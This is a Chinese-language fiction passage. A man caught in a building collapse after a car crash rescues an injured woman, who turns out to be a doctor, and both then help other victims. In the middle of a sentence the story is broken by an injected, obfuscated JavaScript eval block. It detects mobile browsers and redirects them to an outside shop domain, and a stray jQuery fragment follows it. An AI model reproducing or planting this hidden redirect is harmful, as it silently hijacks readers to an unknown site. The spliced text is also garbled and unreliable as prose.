车窗外绿植与行道灯飞快地掠过。短信声响起来,后座上狄奥多看了一眼,是修车厂发来的,说有个部件要等原厂件配送,还要再等半个月。
眼不见心不烦。狄奥多按灭屏幕,又看向车窗外的人流与车流。
这位Uber司机的车速有点快呢。
前面就是路口。司机逐渐放慢了车速。狄奥多透过前车窗,注意到前面的路口似乎有一些骚乱。突然,余光中后视镜里似乎有什么一闪而过——
剧烈的耳鸣声。
好像有什么……巨响在耳边炸开了。狄奥多意识恍惚地缓过神,看向前方。
车窗外映入眼帘的不是斑马线和红绿灯,而是一片模糊的灰色。
发生了什么?
为什么车窗变黑了……不对,这是车窗被烟尘掩埋起来了!
借着缝隙里透进来的阳光,狄奥多立刻打开车门下车,空气中未落尽的扬尘逼得他立刻抬起手臂掩住了口鼻。来不及犹豫,狄奥多赶紧又打开了驾驶座的车门,无视了那块压在车前盖上的碎石块。
司机还趴在安全气囊上不省人事。狄奥多大声喊了他两声,回头看了车后一眼——一辆福特停在离他们不过咫尺的地方,自己乘坐的这辆车一个后灯碎了,配合对方前车灯上的痕迹,明显是发生了追尾。
狄奥多拍打着司机的脸,检查了一下他的身体,又看了一眼后方。一大块让人看一眼就忍不住后怕的碎裂楼板就落在那辆福特的身后不远处。很明显,后车司机大概就是看到什么才疯狂加速,然后追尾他们的。
司机呻吟着睁开眼睛,狄奥多的耐心也快要耗尽了——后车的情况看起来不太妙,他隐约看到驾驶座上有人影,但却一直没有动静。四周也陆续有人从一片混乱中爬出来,有人甚至大叫着拼命往远处跑去。狄奥多知道那人在怕什么。二次坍塌会来的很快——狄奥多朝司机大喊起来:“别睡了!快走!爬起来!”
看着司机的表情从茫然变成惊恐,狄奥多抛开他,往其他人的反方向跑去。
福特的车窗上附着的沙土比狄奥多那辆更多了。随手用衣袖一抹,青年这才能看清驾驶座上是一位黑发的女性。尝试拉了一下车门,无果。狄奥多转去拍打着车窗,顺便往车内瞄了一眼,好消息,没看到有其他乘客。
“醒醒!能听到我说话吗?”狄奥多不死心地又在车窗上用力敲了两下,沉闷的声响被周围刺耳凌乱的警笛和其他人慌乱的哭喊吞掉了大半。车内却还是死寂一片,没有任何回应。黑发女人的头侧向一边,额头上有一小片血迹,幸好看起来并不严重,安全气囊的白色尼龙布上沾了一小片刺眼的鲜红。狄奥多又试着拉了一下门把手,但很遗憾,金属边缘刮过变形门框的刺耳声告诉他这扇车门已经不是靠人力能拉开的了。
没办法了。
狄奥多环顾四周。马路上到处都是尘土、碎石和玻璃碴,有一根孤零零的钢制窗框躺在几十步外的地面上,一端已经弯折变形,不知道是从哪块建筑外墙上脱落的。
他跑过去握住那根窗框,掂量了一下,回到福特车边,对着副驾车窗的角落就是全力一下。
驾驶座旁边的窗靠女人太近,碎玻璃可能会割伤女人。狄奥多找准角度,几下就成功打碎了玻璃,他用窗框把碎玻璃往车外拨,清出缺口,然后伸手进去打开副驾车门的内锁扣——幸好这边没卡死。
车门拉开之后狄奥多先探身进去,把驾驶座椅靠背放倒,先检查了她的颈椎——没有错位和受伤,然后是气道——没有堵塞,呼吸平稳但偏浅。接着狄奥多才从背后托住她的腋下,把她从驾驶座那侧慢慢拖了出来。
她比他想象中更轻,跟她的体格有些不符。应该是肾上腺素还在起作用,让他对重量的感知变得不那么准确。狄奥多不敢在事故现场旁边久留,先抱着女人尽量走远了一些,才在一片勉强算是干净平整的路面上停下。
狄奥多把女人平放,先检查了一下女人全身,确定身上没有其他伤口,这才安心下来一点。接着他检查了她头上的伤口——头皮裂伤,没伤及动脉,当然伤在头皮出血量不会少——需要压迫止血。他从外套口袋里掏出早上顺手塞进去的备用手帕,那本来只是他穿西装时改不掉的小习惯,没想到这么快就派上了用场。狄奥多把轻薄的丝帕折叠成一个比伤口稍大的方块,按在她的伤口边缘,避开了开放的创面,压住供血的分支血管。
“砰——”
身后的大楼又往下垮塌了一截。狄奥多回头看了一眼,发现上半部分楼体居然稳稳地架在了旁边楼的错层露台上。
某种意义上,这是个好消息。狄奥多收回视线,就注意到女人的眼皮颤了颤。
“按住这里。用力,别按错了。”
不知道是按住伤口的那一下带去了刺痛,还是二次坍塌的震响声太过巨大,总之女人终于醒了过来。狄奥多顺势叮嘱她。
那双黑色眼睛睁开的时候瞳孔收缩了一下,应该是光太亮,也可能是因为疼痛。她下意识地抬起左手按住手帕,刚刚碰在地面上的手指沾满了灰尘,指甲剪得很短,整齐得有些过分。
“感觉怎么样?有没有胸闷?”
“还好。呼吸顺畅,身上没感觉到其他异常,”她的声音哑得像是砂纸刮过铁皮,一边说着,居然慢慢理清了思路似的,把空闲的右手按在身上做了一遍检查,“应该也没有内伤,但软组织挫伤肯定是跑不了了。刚才……”她好像这才注意到街道上一片混乱的样子,“哦对,我想起来了,那栋楼发生了爆炸。”
“爆炸?你确定?”狄奥多不由得皱起了眉,心想着这检查动作看起来可比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734317|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我专业多了,回头看了一眼他跑过来的方向。他坐的那辆Uber还停在原地,司机已经不在驾驶座了,值得庆幸。毕竟狄奥多看到一大块楼板——倒也没有地上那块大,只有半人高——已经取代了原本司机的位置,稳稳地插进了驾驶座。
那块碎裂的楼板还压在路面上,钢筋从断裂的水泥边缘戳出来,狰狞可怖。空气里的灰尘还没完全落定,阳光穿过悬浮的颗粒照下来,带着不详的灰黄色。狄奥多拼命回忆,才从撞车发生前的空白中找到了一丝两次炸响的痕迹——看来第一次是这栋倒下的大楼发生了爆炸,第二次是女人的车撞上他们的声响。
女人的声音突然又响起:“哦、噢,”狄奥多低头看去,发现她的眼神清明多了,看来是理智终于回笼,“原来是你。谢谢你。”
原来是?可我对她毫无印象。狄奥多定定神,这才注意到她身上黑色的商务休闲西装。和自己身上那套看起来很有异曲同工之妙。
“你也是去参加阶段一测试的?”狄奥多恍然,他们两人身上穿的都是FBI审查要求的商务休闲西装,虽然这种衣服平日里也很常见,但在测试刚结束的此时此刻,出现在同路的他们两个身上,就不是巧合了。所以答案很明显了,“你在考场看过我。”
女人低垂着眉眼在喘息,一句谢谢差点抽干了她被惊吓得肾上腺素飙升之后、胸腔里剩下的为数不多的空气。听到狄奥多的话,她又惊讶地抬起头来:“哦,是的。天呐你反应真快,‘合格的警探’?”
“嗯?差不多吧。”狄奥多胡乱谦虚地笑了笑,扶了一把女人——她着急着坐起来,右手差点按在一小块碎石块上——
“我还好,除了头上的口子让我有点晕之外,没什么问题,就是刚刚吓了一大跳,倒是、”女人抬起手,指向街道上的混乱,“那边还有很多人。”
“你确定吗?”狄奥多被她这一下说的有些混乱了。没搞错的话,一般人接到一个“病号”身份就不会再想着变成“医生”了吧?该说不愧是要加入FBI的女士吗?
“我是,呃,医生。”女人可疑地停顿了一下,狄奥多开始想她会不会是哪个实验室出身的“博士”而非“医生”了,“你也没打算跟我一直聊天不是吗?”
被她说中了。狄奥多有些意外于对方的察言观色能力——好得有些出奇。他确实一直在留意周围的情况。对方这才醒了不到一分钟吧?反应速度真够快的。
“好吧,注意安全。”狄奥多点点头,留下最后一句叮嘱,转身往另一边的一家服装店跑去。那家店的大门被石块堵住了,但狄奥多看到里面好像有人影。
女人也点点头,转身往街对面一群围在一起的人走去,步伐越来越快,慢慢变成了跑:
“喂————你们怎么了?我是医生!让我看看!”